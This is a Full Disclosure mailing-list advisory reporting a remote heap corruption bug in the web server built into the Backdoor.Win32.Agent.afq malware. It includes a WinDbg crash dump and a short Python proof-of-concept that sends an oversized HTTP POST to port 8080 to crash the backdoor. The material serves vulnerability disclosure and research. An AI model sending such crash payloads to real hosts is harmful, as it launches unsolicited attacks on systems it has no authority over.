Message-ID: <CAAHK0WR96Caj=QyvRpEr38UsCBjPvGm3j6VrHCeysC3p9+izpQ@mail.gmail.com>
Date: Tue, 27 Apr 2021 20:22:45 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.afq / Remote Heap Corruption

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_C.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.afq
Vulnerability: Remote Heap Corruption
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP
port 8080. Third-party attackers who can reach the infected host can send a
2000 byte HTTP Post request, triggering a heap corruption overwriting ECX,
EDX and AX (16-bit) part of the EAX register.
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0190
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/27/2021

Memory Dump:
EAX : 00004141
EBX : 02B71208
ECX : 41414141
EDX : 41414141
EBP : 02A0FD30
ESP : 02A0FB70
ESI : 02B71210
EDI : 02B70000
EIP : 77AC2D6A     ntdll.77AC2D6A


(1b1c.1048): Access violation - code c0000005 (first/second chance not
available)
eax=0000f23c ebx=02781208 ecx=41414141 edx=41414141 esi=02781210
edi=02780000
eip=77ac2d6a esp=02cef1f0 ebp=02cef3b0 iopl=0         nv up ei pl nz na po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
ntdll!RtlpAllocateHeap+0x37a:
77ac2d6a 8b09            mov     ecx,dword ptr [ecx]
 ds:002b:41414141=????????

0:002> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe

FAULTING_IP:
ntdll!RtlpAllocateHeap+37a
77ac2d6a 8b09            mov     ecx,dword ptr [ecx]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77ac2d6a (ntdll!RtlpAllocateHeap+0x0000037a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  Backdoor.Win32.Agent.afq.853754de6b8ffbe1321a8c91aab5c232.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414141

READ_ADDRESS:  41414141

FOLLOWUP_IP:
msvcrt!signal+95
75746f35 59              pop     ecx

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001048

BUGCHECK_STR:
 APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:
 ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:
 ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 77ac16b7 to 77ac2d6a

STACK_TEXT:
02cef3b0 77ac16b7 00000078 00000080 027802d4 ntdll!RtlpAllocateHeap+0x37a
02cef400 77ac13ee 00000000 00000000 00000078
ntdll!RtlpAllocateHeapInternal+0x2b7
02cef41c 75737250 02780000 00000000 00000078 ntdll!RtlAllocateHeap+0x3e
02cef43c 757376bb 00000078 0000000b 02780dc8 msvcrt!malloc+0x90
02cef454 75746f35 00000078 96d98a3c 00401000 msvcrt!_malloc_crt+0x18
02cef494 00401099 0000000b 00000000 00000000 msvcrt!signal+0x95
WARNING: Stack unwind information not available. Following frames may be
wrong.
02cef4b4 771ad820 02cef580 1d76a8f9 00000000
Backdoor_Win32_Agent_afq_853754de6b8ffbe1321a8c91aab5c232+0x1099
02cef550 77b237e1 02cef580 77af2d82 02ceffcc
KERNELBASE!UnhandledExceptionFilter+0x1a0
02ceffdc 77ae4a47 ffffffff 77b09ea9 00000000
ntdll!__RtlUserThreadStart+0x3ed99
02ceffec 00000000 00402950 000000f4 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  !heap ; ~2s; .ecxr ; kb

SYMBOL_STACK_INDEX:  5

SYMBOL_NAME:  msvcrt!signal+95

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: msvcrt

IMAGE_NAME:  msvcrt.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  692918b7

FAILURE_BUCKET_ID:
 ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_FILL_PATTERN_41414141_c0000005_msvcrt.dll!signal

BUCKET_ID:
 APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_multiple_entries_corruption_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_msvcrt!signal+95



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=8080

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="POST /"+"A"*2000+" HTTP/1.1 Content-Type:
application/x-www-form-urlencoded Content-Length: 10000\r\n\r\n"

    s.send(PAYLOAD)
    s.close()

    print("Backdoor.Win32.Agent.afq /  Remote Heap Corruption")
    print("MD5: 853754de6b8ffbe1321a8c91aab5c232")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists